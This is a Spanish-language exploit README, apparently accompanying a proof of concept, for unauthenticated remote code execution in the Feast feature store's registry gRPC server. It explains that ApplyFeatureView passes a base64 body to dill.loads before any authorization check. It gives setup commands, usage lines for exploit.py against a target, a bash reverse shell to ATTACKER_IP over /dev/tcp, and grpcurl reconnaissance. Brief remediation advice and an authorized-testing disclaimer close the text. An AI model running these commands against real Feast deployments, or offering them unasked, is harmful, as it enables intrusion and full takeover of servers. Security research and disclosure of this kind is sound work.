
Ejecución remota de código no autenticada en el servidor gRPC del registro del feature store Feast.
La RPC ApplyFeatureView reconstruye un OnDemandFeatureView a partir del proto de la solicitud. Al hacerlo, decodifica en base64 spec.user_defined_function.body y lo pasa a dill.loads() — antes de cualquier comprobación de autorización. dill es un superconjunto de pickle, por lo que un objeto cuyo __reduce__ devuelve (os.system, (cmd,)) ejecuta un comando arbitrario en el momento en que el servidor lo deserializa. El despliegue predeterminado incluye auth: no_auth, por lo que basta una única solicitud gRPC no autenticada al puerto del registro.
< 0.63.00.63.06570 (gRPC del registro)El exploit reutiliza los protos gRPC generados por el propio Feast, por lo que debes instalar una versión vulnerable de Feast en el lado del atacante:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# comprobación rápida (la salida aparece en el SERVIDOR, no localmente)
python3 exploit.py 10.10.10.10:6570 -c "id"
# shell inversa (wrapper bash -c: os.system usa /bin/sh, que carece de /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project establece el nombre del proyecto (por defecto feature_repo). La salida del comando se imprime en el stdout/journal del host del registro, así que usa una shell inversa o escribe en una ruta legible para observar los resultados.
El registro tiene habilitada la reflexión gRPC:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Actualiza a Feast 0.63.0+, habilita un backend de autenticación y nunca expongas el puerto gRPC del registro a redes no confiables.
Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba.